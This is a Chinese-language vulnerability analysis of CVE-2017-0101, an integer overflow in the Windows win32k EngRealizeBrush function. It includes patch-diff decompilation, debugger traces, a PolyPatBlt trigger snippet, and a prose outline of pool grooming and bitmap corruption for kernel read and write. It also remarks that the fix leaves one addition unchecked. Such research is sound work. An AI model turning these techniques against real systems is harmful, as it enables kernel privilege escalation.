分析笔记:CVE-2017-0101 整数溢出漏洞

作者:Leeqwind

作者博客:https://xiaodaozhi.com/exploit/70.html

前面的文章分析了 CVE-2016-0165 整数上溢漏洞,这篇文章继续分析另一个同样发生在 GDI 子系统的 CVE-2017-0101 (MS17-017) 整数向上溢出漏洞。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。

0x0 前言

这篇文章分析了发生在 GDI 子系统的 CVE-2017-0101 (MS17-017) 整数向上溢出漏洞。在函数 EngRealizeBrush 中引擎模拟实现笔刷绘制时,系统根据笔刷图案位图的大小以及目标设备表面的像素颜色格式计算应该分配的内存大小,但是没有进行必要的数值完整性校验,导致可能发生潜在的整数向上溢出的问题,致使实际上分配极小的内存块,随后函数对分配的 ENGBRUSH 对象成员域进行初始化。在整数溢出发生的情况下,如果分配的内存块大小小于 ENGBRUSH 类的大小,那么在初始化成员域的时候就可能触发缓冲区溢出漏洞,导致紧随其后的内存块中的数据被覆盖。

接下来函数调用 SURFMEM::bCreateDIB 分配临时的位图表面对象,并在其中对数值的有效性进行再次校验,判断数值是否大于 0x7FFFFFFF。但在此时校验的数值比分配的缓冲区大小数值小 0x84,因此如果实际分配的缓冲区是小于 0x40 字节的情况,那么在函数 SURFMEM::bCreateDIB 中校验的数值就将不符合函数 SURFMEM::bCreateDIB 的要求,导致调用失败,函数向上返回,并在上级函数中释放分配的 ENGBRUSH 对象。

在上级函数中在释放先前分配 ENGBRUSH 对象时,如果先前的成员域初始化操作破坏了位于同一内存页中的下一个内存块的 POOL_HEADER 结构,那么在释放内存时将会引发 BAD_POOL_HEADER 的异常。通过巧妙的内核池内存布局,使目标 ENGBRUSH 对象的内存块被分配在内存页的末尾,这样一来在释放内存块时将不会校验相邻内存块 POOL_HEADER 结构的完整性。

利用整数向上溢出导致后续的缓冲区溢出漏洞,使函数在初始化 ENGBRUSH 对象的成员域时,将原本写入 ENGBRUSH 对象的数据覆盖在下一内存页起始位置的位图表面 SURFACE 对象中,将成员域 sizlBitmap.cy 覆盖为 0x6 等像素位格式的枚举值,致使目标位图表面对象的可控范围发生改变。通过与位于同一内存页中紧随其后的内核 GDI 对象或下一内存页相同位置的位图表面对象相互配合,实现相对或任意内存地址的读写。

本分析中涉及到的内核中的类或结构体可在《图形设备接口子系统的对象解释》文档中找到解释说明。

0x1 原理

漏洞存在于 win32k 内核模块的函数 EngRealizeBrush 中。该函数属于 GDI 子系统的服务例程,用于根据逻辑笔刷对象在目标表面对象中引擎模拟实现笔刷绘制。根据修复补丁文件对比,发现和其他整数向上溢出漏洞的修复补丁程序类似的,修复这个漏洞的补丁程序也是在函数中对某个变量的数值进行运算时,增加函数 ULongLongToULongULongAdd 调用来阻止整数向上溢出漏洞的发生,被校验的目标变量在后续的代码中被作为分配内存缓冲区函数 PALLOCMEM 的缓冲区大小参数。那么接下来就从这两个函数所服务的变量着手进行分析。

顺便一提的是,补丁程序在增加校验函数时遗漏了对 v16 + 0x40 计算语句的校验,因此攻击者在已安装 CVE-2017-0101 漏洞安全更新的操作系统环境中仍旧能够利用该函数中的整数溢出漏洞。不过那就是另外一个故事了。

补丁前后的漏洞关键位置代码对比:

  v60 = (unsigned int)(v11 * v8) >> 3;
v49 = v60 * v68;
v12 = v60 * v68 + 0x44;
if ( v61 )
{
v13 = *((_DWORD *)v61 + 8);
v14 = *((_DWORD *)v61 + 9);
v15 = 0x20;
v54 = v13;
v55 = v14;
if ( v13 != 0x20 && v13 != 0x10 && v13 != 8 )
v15 = (v13 + 0x3F) & 0xFFFFFFE0;
v56 = v15;
v50 = v15 >> 3;
v12 += (v15 >> 3) * v14;
}
[...]
v66 = v12 + 0x40;
v16 = PALLOCMEM(v12 + 0x40, 'rbeG');

补丁前

  if ( ULongLongToULong((_DWORD)a3 * v10, (unsigned int)a3 * (unsigned __int64)(unsigned int)v10 >> 32, &v67) < 0 )
goto LABEL_54;
v67 >>= 3;
if ( ULongLongToULong(v67 * v64, v67 * (unsigned __int64)(unsigned int)v64 >> 32, &a3) < 0
|| ULongAdd(0x44u, (unsigned __int32)a3, &v71) < 0 )
{
goto LABEL_54;
}
if ( v62 )
{
[...]
v48 = v15 >> 3;
if ( ULongLongToULong(v48 * v14, v48 * (unsigned __int64)(unsigned int)v14 >> 32, &v65) < 0
|| ULongAdd(v71, v65, &v71) < 0 )
{
goto LABEL_54;
}
}
v16 = v71;
[...]
v71 = v16 + 0x40;
v17 = PALLOCMEM(v16 + 0x40, 'rbeG');

补丁后

在 MSDN 网站存在函数 DrvRealizeBrush 的文档说明。在 Windows 图形子系统中,通常地 Eng 前缀函数是同名的 Drv 前缀函数的 GDI 模拟,两者参数基本一致。根据 IDA 和其他相关文档,获得函数 EngRealizeBrush 的函数原型如下:

int __stdcall EngRealizeBrush(
struct _BRUSHOBJ *pbo,       // a1
struct _SURFOBJ *psoTarget,  // a2
struct _SURFOBJ *psoPattern, // a3
struct _SURFOBJ *psoMask,    // a4
struct _XLATEOBJ *pxlo,      // a5
unsigned __int32 iHatch      // a6
);

函数 EngRealizeBrush 的函数原型

其中的第 1 个参数 pbo 指向目标 BRUSHOBJ 笔刷对象。数据结构 BRUSHOBJ 用来描述所关联的笔刷对象实体,在 MSDN 存在如下定义:

typedef struct _BRUSHOBJ {
ULONG iSolidColor;
PVOID pvRbrush;
FLONG flColorType;
} BRUSHOBJ;

结构体 BRUSHOBJ 的定义

参数 psoTarget / psoPattern / psoMask 都是指向 SURFOBJ 类型对象的指针。结构体 SURFOBJ 的定义如下:

typedef struct tagSIZEL {
LONG cx;
LONG cy;
} SIZEL, *PSIZEL;
typedef struct _SURFOBJ {
DHSURF  dhsurf;         //<[00,04] 04
HSURF   hsurf;          //<[04,04] 05
DHPDEV  dhpdev;         //<[08,04] 06
HDEV    hdev;           //<[0C,04] 07
SIZEL   sizlBitmap;     //<[10,08] 08 09
ULONG   cjBits;         //<[18,04] 0A
PVOID   pvBits;         //<[1C,04] 0B
PVOID   pvScan0;        //<[20,04] 0C
LONG    lDelta;         //<[24,04] 0D
ULONG   iUniq;          //<[28,04] 0E
ULONG   iBitmapFormat;  //<[2C,04] 0F
USHORT  iType;          //<[30,02] 10
USHORT  fjBitmap;       //<[32,02] xx
} SURFOBJ;

结构体 SURFOBJ 的定义

函数的各个关键参数的解释:

  • 参数 pbo 指向存储笔刷详细信息的 BRUSHOBJ 对象;该指针实际上指向的是拥有更多成员变量的子类 EBRUSHOBJ 对象,除 psoTarget 之外的其他参数的值都能从该对象中获取到。
  • 参数 psoTarget 指向将要实现笔刷的目标表面 SURFOBJ 对象;该表面可以是设备的物理表面,设备格式的位图,或是标准格式的位图。
  • 参数 psoPattern 指向为笔刷描述图案的表面 SURFOBJ 对象;对于栅格化的设备来说,该参数是位图。
  • 参数 psoMask 指向为笔刷描述透明掩码的表面 SURFOBJ 对象。
  • 参数 pxlo 指向定义图案位图的色彩解释的 XLATEOBJ 对象。

根据前面的代码片段可知,在函数 EngRealizeBrush 中存在一处 PALLOCMEM 函数调用,用于为将要实现的笔刷对象分配内存缓冲区,传入的分配大小参数为 v12 + 0x40,变量 v12 正是在修复补丁中增加校验函数的目标变量。

根据相关源码对“补丁前”的代码片段中的一些变量进行重命名:

  cjScanPat = ulSizePat * cxPatRealized >> 3;
ulSizePat = cjScanPat * sizlPat_cy;
ulSizeTotal = cjScanPat * sizlPat_cy + 0x44;
if ( pSurfMsk )
{
sizlMsk_cx = *((_DWORD *)pSurfMsk + 8);
sizlMsk_cy = *((_DWORD *)pSurfMsk + 9);
cxMskRealized = 32;
if ( sizlMsk_cx != 32 && sizlMsk_cx != 16 && sizlMsk_cx != 8 )
cxMskRealized = (sizlMsk_cx + 63) & 0xFFFFFFE0;
cjScanMsk = cxMskRealized >> 3;
ulSizeTotal += (cxMskRealized >> 3) * sizlMsk_cy;
}
[...]
ulSizeSet = ulSizeTotal + 0x40;
pengbrush = (LONG)PALLOCMEM(ulSizeTotal + 0x40, 'rbeG');

对补丁前的代码片段的变量重命名

其中变量 ulSizeTotal 对应前面的 v12 变量。分析代码片段可知,影响 ulSizeTotal 变量值的可变因素有 sizlMsk_cx / sizlMsk_cy / ulSizePat / cxPatRealizedsizlPat_cy 变量。其中变量 sizlMsk_cxsizlMsk_cy 是参数 psoMask 指向的 SURFOBJ 对象的成员域 sizlBitmap 的值。因此还有 ulSizePat / cxPatRealizedsizlPat_cy 变量需要继续向前回溯,以定位出在函数中能够影响 ulSizeTotal 变量值的最上层可变因素。


可变因素

EngRealizeBrush 函数伊始,三个 SURFOBJ 指针参数被用来获取所属的 SURFACE 对象指针并分别放置于对应的指针变量中。SURFACE 是内核中所有 GDI 表面对象的管理对象类,类中存在结构体对象成员 SURFOBJ so 用来存储当前 SURFACE 对象所管理的位图实体数据的具体信息,在当前系统环境下,成员对象 SURFOBJ so 起始于 SURFACE 对象 +0x10 字节偏移的位置。

随后,参数 psoPattern 指向的 SURFOBJ 对象的成员域 sizlBitmap 存储的位图高度和宽度数值被分别赋值给 sizlPat_cxsizlPat_cy 变量,并将宽度数值同时赋值给 cxPatRealized 变量。参数 psoTarget 对象的成员域 iBitmapFormat 存储的值被赋给参数 psoPattern (编译器导致的变量复用,本应是名为 iFormat 之类的局部变量),用于指示目标位图 GDI 对象的像素格式。根据位图格式规则,像素格式可选 1BPP(1) / 4BPP(2) / 8BPP(3) / 16BPP(4) / 24BPP(5) / 32BPP(6) 等枚举值,用来指示位图像素点的色彩范围。

  pSurfTarg = SURFOBJ_TO_SURFACE(psoTarget);
pSurfPat = SURFOBJ_TO_SURFACE(psoPattern);
pSurfMsk = SURFOBJ_TO_SURFACE(psoMask);
cxPatRealized = *((_DWORD *)pSurfPat + 8);
psoMask = 0;
psoPattern = (struct _SURFOBJ *)*((_DWORD *)pSurfTarg + 0xF);
sizlPat_cy = *((_DWORD *)pSurfPat + 9);
[...]
sizlPat_cx = cxPatRealized;

函数 EngRealizeBrush 伊始代码片段

函数随后根据目标位图 GDI 对象的像素格式,将变量 ulSizePat 赋值为格式枚举值所代表的对应像素位数,例如 1BPP 格式的情况就赋值为 132BPP 格式的情况就赋值为 32,以此类推。

与此同时,函数根据目标位图 GDI 对象的像素格式对变量 cxPatRealized 进行继续赋值。根据 IDA 代码对赋值逻辑进行整理:

  1. 当目标位图 GDI 对象的像素格式为 1BPP 时:
    如果 sizlPat_cx 值为 32 / 16/ 8 其中之一时,变量 cxPatRealized 被赋值为 32 数值;否则变量 cxPatRealized 的值以 32 作为初始基数,加上变量 sizlPat_cx 的值并以 32 对齐。
  2. 当目标位图 GDI 对象的像素格式为 4BPP 时:
    如果 sizlPat_cx 值为 8 时,变量 cxPatRealized 被赋值为 8 数值;否则变量 cxPatRealized 的值以 8 作为初始基数,加上变量 sizlPat_cx 的值并以 8 对齐。
  3. 当目标位图 GDI 对象的像素格式为 8BPP / 16BPP / 24BPP 其中之一时:
    变量 cxPatRealized 的值以 4 作为初始基数,加上变量 sizlPat_cx 的值并以 4 对齐。
  4. 当目标位图 GDI 对象的像素格式为 32BPP 时:
    变量 cxPatRealized 被直接赋值为变量 sizlPat_cx 的值。

接下来,函数将变量 cxPatRealized 的值与变量 ulSizePat 存储的目标位图对象的像素位数相乘并右移 3 比特位,得到图案位图新的扫描线的长度,并将数值存储在 cjScanPat 变量中。

在 Windows 内核中处理位图像素数据时,通常是以一行作为单位进行的,像素的一行被称为扫描线,而扫描线的长度就表示的是在位图数据中向下移动一行所需的字节数。位图数据扫描线的长度是由位图像素位类型和位图宽度决定的,位图扫描线长度和位图高度的乘积作为该位图像素数据缓冲区的大小。

函数随后计算 cjScanPatsizlPat_cy 的乘积,得到新的图案位图像素数据大小,与 0x44 相加并将结果存储在 ulSizeTotal 变量中。此处的 0x44ENGBRUSH 类对象的大小,将要分配的内存缓冲区头部将存储用来管理该笔刷实现实体的 ENGBRUSH 对象。

这里的新的图案位图像素数据大小,是通过与逻辑笔刷关联的图案位图对象的高度和宽度数值,和与设备关联的目标表面对象的像素位颜色格式数值计算出来的,在函数后续为引擎模拟实现画刷分配新的位图表面对象时,该数值将作为新位图表面对象的像素数据区域的大小。

接下来函数还判断可选的参数 psoMask 是否为空;如果不为空的话,就取出 psoMask 对象的 sizlBitmap 成员的高度和宽度数值,并依据前面的像素格式为 1BPP 的情况,计算掩码位图扫描线的长度和掩码位图数据大小,并将数据大小增加进 ulSizeTotal 变量中。

在调用函数 PALLOCMEM 时,传入的分配内存大小参数是 ulSizeTotal + 0x40,其中的 0x40ENGBRUSH 结构大小减去其最后一个成员 BYTE aj[4] 的大小,位于 ENGBRUSH 对象后面的内存区域将作为 aj 数组成员的后继元素。函数对 ulSizeTotal 变量增加了两次 ENGBRUSH 对象的大小,多出来的 0x44 字节在后面用作其他用途,但我并不打算去深究,因为这不重要。

在函数 PALLOCMEM 中最终将通过调用函数 ExAllocatePoolWithTag 分配类型为 0x21 的分页会话池(Paged session pool)内存缓冲区。

内存缓冲区分配成功后,分配到的缓冲区被作为 ENGBRUSH 对象实例,并将缓冲区指针放置在 pbo 对象 +0x14 字节偏移的成员域中:

  pengbrush = (LONG)PALLOCMEM(ulSizeTotal + 0x40, 'rbeG');
if ( !pengbrush )
{
LABEL_43:
HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
return 0;
}
LABEL_44:
bsoMaskNull = psoMask == 0;
*((_DWORD *)pbo + 5) = pengbrush;

分配的缓冲区地址存储在 pbo 对象的成员域

依据以上的分析可知,在函数中能够影响 ulSizeTotal 变量值的最上层可变因素是:

  • 参数 psoPattern 指向的图案位图 SURFOBJ 对象的成员域 sizlBitmap 的值
  • 参数 psoMask 指向的掩码位图 SURFOBJ 对象的成员域 sizlBitmap 的值
  • 参数 psoTarget 指向的目标位图 SURFOBJ 对象的成员域 iBitmapFormat 的值

在获得 ulSizeTotal 变量最终数值的过程中,数据进行了多次的乘法和加法运算,但是没有进行任何的数值有效性校验。如果对涉及到的这几个参数成员域的值进行特殊构造,将可能使变量 ulSizeTotal 的数值发生整数溢出,该变量的值将变成远小于应该成为的值,那么在调用函数 PALLOCMEM 分配内存时,将会分配到非常小的内存缓冲区。分配到的缓冲区被作为 ENGBRUSH 对象实例,在后续对该 ENGBRUSH 对象的各个成员变量进行初始化时,将存在发生缓冲区溢出、造成后续的内存块数据被覆盖的可能性,严重时将导致操作系统 BSOD 的发生。

0x2 追踪

上一章节分析了漏洞的原理和成因,接下来将寻找一条从用户态进程到漏洞所在位置的触发路径。通过在 IDA 中查看函数 EngRealizeBrush 的引用列表,发现在 win32k 中仅对该函数进行了少量的引用。

函数 EngRealizeBrush 的引用列表

关键在于列表的最后一条:在函数 pvGetEngRbrush 中将函数 EngRealizeBrush 的首地址作为参数传递给 bGetRealizedBrush 函数调用。

void *__stdcall pvGetEngRbrush(struct _BRUSHOBJ *a1)
{
[...]
result = (void *)*((_DWORD *)a1 + 5);
if ( !result )
{
if ( bGetRealizedBrush(*((struct BRUSH **)a1 + 0x12), a1, EngRealizeBrush) )
{
vTryToCacheRealization(a1, *((struct RBRUSH **)a1 + 5), *((struct BRUSH **)a1 + 0x12), 1);
result = (void *)*((_DWORD *)a1 + 5);
}
else
{
v2 = (void *)*((_DWORD *)a1 + 5);
if ( v2 )
{
ExFreePoolWithTag(v2, 0);
*((_DWORD *)a1 + 5) = 0;
}
result = 0;
}
}
[...]
}

函数 pvGetEngRbrush 的代码片段

函数首先判断参数 a1 指向 BRUSHOBJ 对象的 +0x14 字节偏移的成员域是否为空;为空的话则调用 bGetRealizedBrush 函数,并将参数 a1 指向 BRUSHOBJ 对象中存储的 BRUSH 对象指针作为第 1 个参数、参数 a1 的值作为第 2 个参数、将函数 EngRealizeBrush 的首地址作为第 3 个参数传入。

如果函数 bGetRealizedBrush 返回失败,函数将通过调用 ExFreePoolWithTag 函数释放参数 a1 指向的 BRUSHOBJ 对象 +0x14 字节偏移的成员域指向的内存块。该成员域在执行函数 EngRealizeBrush 期间会被赋值为分配并实现的 ENGBRUSH 对象的首地址。

在函数 bGetRealizedBrush 中存在对第 3 个参数指向的函数进行调用的语句:

LABEL_81:
if ( v68 )
{
v41 = (struct _SURFOBJ *)(v68 + 0x10);
LABEL_127:
v51 = (struct _SURFOBJ *)*((_DWORD *)a2 + 0xD);
if ( v51 )
v51 = (struct _SURFOBJ *)((char *)v51 + 0x10);
v19 = a3(a2, v51, v41, v72, v13, v70);
[...]
}

函数 bGetRealizedBrush 调用参数 a3 指向的函数

为了精确地捕获到来自用户进程的调用路径,通过 WinDBG 在漏洞发生位置下断点,很快断点命中,观测到调用栈如下:

00 8bb23930 94170c34 win32k!EngRealizeBrush+0x19c
01 8bb239c8 941734af win32k!bGetRealizedBrush+0x70c
02 8bb239e0 941e99ac win32k!pvGetEngRbrush+0x1f
03 8bb23a44 9420e723 win32k!EngBitBlt+0x185
04 8bb23aa8 9420e8ab win32k!GrePatBltLockedDC+0x22b
05 8bb23b54 9420ed96 win32k!GrePolyPatBltInternal+0x176
06 8bb23c18 83e4b1ea win32k!NtGdiPolyPatBlt+0x1bc
07 8bb23c18 772b70b4 nt!KiFastCallEntry+0x12a
08 0023edec 768e6217 ntdll!KiFastSystemCallRet
09 0023edf0 768e61f9 gdi32!NtGdiPolyPatBlt+0xc
0a 0023ee1c 76fc3023 gdi32!PolyPatBlt+0x1e7
[...]

命中断点的栈回溯序列

观察栈回溯中的函数调用,发现由用户态进入内核态的调用者是 PolyPatBlt 函数,那么接下来就尝试通过函数 PolyPatBlt 作为切入点进行分析。

该函数是 gdi32.dll 模块的导出函数,但并未被微软文档化,仅作为系统内部调用使用。通过查询相关文档得到函数原型如下:

BOOL PolyPatBlt(
HDC hdc,
DWORD rop,
PVOID pPoly,
DWORD Count,
DWORD Mode
);

函数 PolyPatBlt 的函数原型

函数通过使用当前选择在指定设备上下文 DC 对象中的笔刷工具来绘制指定数量的矩形。第 1 个参数 hdc 是传入的指定设备上下文 DC 对象的句柄,矩形的绘制位置和尺寸被定义在参数 pPoly 指向的数组中,参数 Count 指示矩形的数量。笔刷颜色和表面颜色通过指定的栅格化操作来关联,参数 rop 表示栅格化操作代码。参数 Mode 可暂时忽略。

参数 pPoly 指针的类型没有明确的公开定义,模块代码中的逻辑显示其指向的是 0x14 字节大小的数据结构数组,前 4 个成员域定义矩形的坐标和宽度高度,第 5 个成员域指定可选的笔刷句柄,因此可以定义为:

typedef struct _PATRECT {
INT nXLeft;
INT nYLeft;
INT nWidth;
INT nHeight;
HBRUSH hBrush;
} PATRECT, *PPATRECT;

结构体 PATRECT 的定义

参数 pPoly 指向的数组的元素个数需要与参数 Count 参数表示的矩形个数对应。留意结构体中第 5 个成员变量 hBrush,这个成员变量很有意思。通过逆向分析相关内核函数得知,如果数组元素的该成员置为空值,那么在内核中处理该元素时将使用先前被选择在当前设备上下文 DC 对象中的笔刷对象作为实现 ENGBRUSH 对象的逻辑笔刷;而如果某个元素的 hBrush 成员指定了具体的笔刷对象句柄,那么在 GrePolyPatBltInternal 函数中将会对该元素使用指定的笔刷对象作为实现 ENGBRUSH 对象的逻辑笔刷。

  v17 = (HBRUSH)*((_DWORD *)a3 + 4);
v30 = v17;
ms_exc.registration.TryLevel = -2;
if ( v17 )
{
v29 = GreDCSelectBrush(*(struct DC **)a1, v17);
v16 = v31;
}
[...]

函数 GrePolyPatBltInternal 为 DC 对象选择笔刷对象

因此我们并不需要为目标 DC 对象选择笔刷对象,只需将笔刷对象的句柄放置在数组元素的成员域 hBrush 即可。接下来编写验证代码试图抵达漏洞所在位置,由于函数 PolyPatBlt 并未文档化,需要通过 GetProcAddress 动态获取地址的方式引用。

hdc = GetDC(NULL);
hbmp = CreateBitmap(0x10, 0x100, 1, 1, NULL);
hbru = CreatePatternBrush(hbmp);
pfnPolyPatBlt = (pfPolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
PATRECT ppb[1] = { 0 };
ppb[0].nXLeft  = 0x100;
ppb[0].nYLeft  = 0x100;
ppb[0].nWidth  = 0x100;
ppb[0].nHeight = 0x100;
ppb[0].hBrush  = hbru;
pfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);

漏洞验证代码片段

在这段验证代码中,首先获取当前桌面的设备上下文 DC 对象句柄。根据函数 PolyPatBlt 的调用规则,需要在调用之前先创建笔刷对象,这通过函数 CreateBitmapCreatePatternBrush 来实现。创建返回的笔刷对象句柄被放置在 PATRECT 数组元素的 hBrush 成员域中。

编译代码后在测试环境执行,可以成功命中漏洞所在位置的断点:

win32k!EngRealizeBrush+0x19c:
9397d73c e828f20600      call    win32k!PALLOCMEM (939ec969)
kd> k
# ChildEBP RetAddr
00 8e03ba20 93980c34 win32k!EngRealizeBrush+0x19c
01 8e03bab8 939834af win32k!bGetRealizedBrush+0x70c
02 8e03bad0 939f9ae6 win32k!pvGetEngRbrush+0x1f
03 8e03bb34 93a1e723 win32k!EngBitBlt+0x2bf
04 8e03bb98 93a1e8ab win32k!GrePatBltLockedDC+0x22b
05 8e03bb54 93a1ed96 win32k!GrePolyPatBltInternal+0x176
06 8e03bc18 83e7b1ea win32k!NtGdiPolyPatBlt+0x1bc
07 8e03bc18 77db70b4 nt!KiFastCallEntry+0x12a
08 002cfb8c 764c6217 ntdll!KiFastSystemCallRet
09 002cfb90 764c61f9 gdi32!NtGdiPolyPatBlt+0xc
0a 002cfbbc 0104b146 gdi32!PolyPatBlt+0x1e7
[...]
kd> dc esp l2
8e03b978  00004084 72626547                    .@..Gebr

漏洞验证代码执行后命中漏洞所在位置断点


需要注意的是,在虚拟机同一环境中多次测试验证代码程序时,有时候在函数 EngRealizeBrush 中会绕过分配内存的指令块:

win32k!EngRealizeBrush+0x164:
93a5d704 b958a0c393      mov     ecx,offset win32k!gpCachedEngbrush (93c3a058)
93a5d709 ff157000c193    call    dword ptr [win32k!_imp_InterlockedExchange (93c10070)]
93a5d70f 8bf0            mov     esi,eax
93a5d711 8975ac          mov     dword ptr [ebp-54h],esi
93a5d714 85f6            test    esi,esi
93a5d716 7418            je      win32k!EngRealizeBrush+0x190 (93a5d730)
93a5d718 8d4340          lea     eax,[ebx+40h]
93a5d71b 8945e0          mov     dword ptr [ebp-20h],eax
93a5d71e 3bc3            cmp     eax,ebx
93a5d720 7605            jbe     win32k!EngRealizeBrush+0x187 (93a5d727)
93a5d722 394604          cmp     dword ptr [esi+4],eax
93a5d725 7332            jae     win32k!EngRealizeBrush+0x1b9 (93a5d759)
93a5d759 837d1400        cmp     dword ptr [ebp+14h],0
kd> r eax
eax=00004084
kd> r ebx
ebx=00004044
kd> ? poi(esi+4)
Evaluate expression: 16516 = 00004084

函数 EngRealizeBrush 绕过分配内存块的指令块

创建的 ENGBRUSH 对象在释放时会尝试将地址存储在 win32k 中的全局变量 gpCachedEngbrush 中而不是直接释放,作为缓存对象以备下次分配合适大小的 ENGBRUSH 对象时直接取用。

EngRealizeBrush 函数中分配内存缓冲区之前,函数会获取 gpCachedEngbrush 全局变量存储的值,如果缓存的 ENGBRUSH 对象存在,那么判断该缓存对象是否满足当前所需的缓冲区大小,如果满足就直接使用该缓存对象作为新创建的 ENGBRUSH 对象的缓冲区使用,因此跳过了分配内存的那一步。


焦点回到命中断点的漏洞所在位置,可以观测到请求分配的缓冲区大小参数是 0x4084 数值,这是由在验证代码中创建笔刷对象时,所关联的位图对象的大小决定的。当前的数值并未命中溢出的条件,因此我们需要不断尝试和计算,得到满足溢出条件的可变因素的数值。

为了更清晰地理解关联的位图对象与最终分配的内存缓冲区大小的关联,接下来对相关函数进行深入的分析。


CreatePatternBrush

用户进程调用函数 CreatePatternBrush 以使用指定位图作为图案创建逻辑笔刷,函数接受位图对象的句柄作为唯一参数。在函数中直接调用 NtGdiCreatePatternBrushInternal 系统调用进入内核中执行。

HBRUSH __stdcall CreatePatternBrush(HBITMAP hbm)
{
return (HBRUSH)NtGdiCreatePatternBrushInternal((int)hbm, 0, 0);
}

函数 CreatePatternBrush 直接调用 NtGdiCreatePatternBrushInternal 函数

接下来在内核中函数 NtGdiCreatePatternBrushInternal 直接调用函数 GreCreatePatternBrushInternal 来根据传入的位图创建图案笔刷对象。函数 GreCreatePatternBrushInternal 第 1 个参数是传递的位图对象的句柄。后两个参数由于在用户进程传递时直接传值为 0 所以暂不关注。

  SURFREF::SURFREF(&ps, hbmp);
[...]
if ( *((_DWORD *)ps + 0x12) & 0x4000000 )
{
if ( a3 )
hbmpClone = hbmCreateClone(ps, 8u, 8u);
else
hbmpClone = hbmCreateClone(ps, 0, 0);
if ( hbmpClone )
{
a3 = *((_DWORD *)ps + 0x14);
bIsMonochrome = XEPALOBJ::bIsMonochrome((XEPALOBJ *)&a3);
BRUSHMEMOBJ::BRUSHMEMOBJ(&v9, hbmpClone, hbmp, bIsMonochrome, 0, 0x40, a2);
if ( v9 )
{
v12 = *v9;
v10 = 1;
}
BRUSHMEMOBJ::~BRUSHMEMOBJ((BRUSHMEMOBJ *)&v9);
}
}
[...]
return v12;

函数 GreCreatePatternBrushInternal 的代码片段

函数根据传入的位图句柄获得图案位图的 SURFACE 对象的引用,随后通过调用函数 hbmCreateClone 并传入图案位图的 SURFACE 对象指针以获得位图对象克隆实例的句柄。

函数 hbmCreateClone 用来创建指定位图的引擎管理的克隆。函数生命周期内存在位于栈上的 DEVBITMAPINFO 结构体对象 dbmi。结构体 DEVBITMAPINFO 定义如下:

typedef struct _DEVBITMAPINFO { // dbmi
ULONG   iFormat;
ULONG   cxBitmap;
ULONG   cyBitmap;
ULONG   cjBits;
HPALETTE hpal;
FLONG   fl;
} DEVBITMAPINFO, *PDEVBITMAPINFO;

结构体 DEVBITMAPINFO 的定义

图案位图对象的像素位数格式 SURFACE->so.iBitmapFormat 成员域的值被赋值给 dbmi 对象的 iFormat 成员;由于第 2 个和第 3 个参数都被传入 0,因此函数直接获取图案位图对象的 SURFACE->so.sizlBitmap 成员域的值并存储在 dbmi 对象的 cxBitmapcyBitmap 成员中。

  dbmi_iFormat = *((_DWORD *)a1 + 0xF);
if ( a2 && a3 )
{
[...]
}
else
{
dbmi_cx = *((_DWORD *)a1 + 8);
dbmi_cy = *((_DWORD *)a1 + 9);
}
[...]

函数 hbmCreateClone 获取图案位图 SURFACE 对象成员域的值

接下来函数调用 SURFMEM::bCreateDIB 函数并传入 dbmi 对象首地址,用来构造新的设备无关位图的内存对象:

  if ( SURFMEM::bCreateDIB((SURFMEM *)&v23, (struct _DEVBITMAPINFO *)&dbmi_iFormat, 0, 0, 0, 0, 0, 0, 1) )
{
v19 = dbmi_cx;
v6 = 0;
v7 = (*((_DWORD *)a1 + 0x12) & 0x4000) == 0;
v21 = 0;
v22 = 0;
v17 = 0;
v18 = 0;
v20 = dbmi_cy;
v26 = 0;
[...]
}
[...]

函数调用 SURFMEM::bCreateDIB 构造设备无关位图的内存对象

函数 SURFMEM::bCreateDIB 在初始化新分配的位图对象时,将使用传入的参数 dbmi 对象中存储的关键成员的值,包括位图的宽度高度和像素位格式。

函数 hbmCreateClone 向函数 GreCreatePatternBrushInternal 返回新创建的位图对象克隆的句柄。接下来函数判断原位图 SURFACE 对象的调色盘是否属于单色模式,接着通过调用构造函数 BRUSHMEMOBJ::BRUSHMEMOBJ 初始化位于栈上的从变量 v9 地址起始的静态 BRUSHMEMOBJ 对象。

在构造函数 BRUSHMEMOBJ::BRUSHMEMOBJ 中,函数通过调用成员函数 BRUSHMEMOBJ::pbrAllocBrush 分配笔刷 BRUSH 对象内存,接下来对笔刷对象的各个成员域进行初始化赋值。其中,通过第 2 个和第 3 个参数传入的位图对象克隆句柄和原位图对象句柄被分别存储在新分配的 BRUSH 对象的 +0x14+0x18 字节偏移的成员域中。

  pbrush = BRUSHMEMOBJ::pbrAllocBrush((BRUSHMEMOBJ *)this, a7);
*pbp_pbr = pbrush;
if ( pbrush )
{
*((_DWORD *)pbrush + 5) = a2;
*((_DWORD *)pbrush + 6) = a3;
v10 = (_DWORD *)*((_DWORD *)pbrush + 9);
*((_DWORD *)pbrush + 0xE) = 0;
*((_DWORD *)pbrush + 4) = 0xD;
*v10 = 0;
*((_DWORD *)pbrush + 7) = a6;
if ( a4 )
*((_DWORD *)pbrush + 7) = a6 | 0x20003;
[...]
}

构造函数分配并初始化 BRUSH 对象

在这里需要留意 BRUSH 对象 +0x10 字节偏移的成员域赋值为 0xD 数值,该成员用于描述当前笔刷 BRUSH 对象的样式,数值 0xD 表示这是一个图案笔刷。该成员在后续的分析中将会涉及。

在构造函数 BRUSHMEMOBJ::BRUSHMEMOBJ 返回后,函数 GreCreatePatternBrushInternal 将刚才新创建的 BRUSH 对象的句柄成员的值作为返回值返回,该句柄值最终将返回到用户进程的调用函数中。


psoTarget

漏洞验证代码调用函数 PolyPatBlt 时,在内核中的函数 GrePolyPatBltInternal 调用期间,函数获取参数 a1 指向的目标设备上下文 XDCOBJ 对象中存储的设备相关位图的表面 SURFACE 对象,并将该对象的地址作为参数传入 GrePatBltLockedDC 函数调用。该参数将逐级向下传递,其成员对象 SURFOBJ so 的地址将成为 EngRealizeBrush 函数调用的参数 psoTarget 的值。

  pSurfDst = *(struct SURFACE **)(*(_DWORD *)a1 + 0x1F8);
while ( 1 )
{
[...]
if ( !ERECTL::bEmpty((ERECTL *)&v22) )
{
[...]
if ( pSurfDst )
v34 = GrePatBltLockedDC(a1, (struct EXFORMOBJ *)&v26, (struct ERECTL *)&v22, v36, pSurfDst, a6, a7, a8, a9);
}
[...]
}

函数 GrePolyPatBltInternal 获取目标 DC 对象的 SURFACE 成员

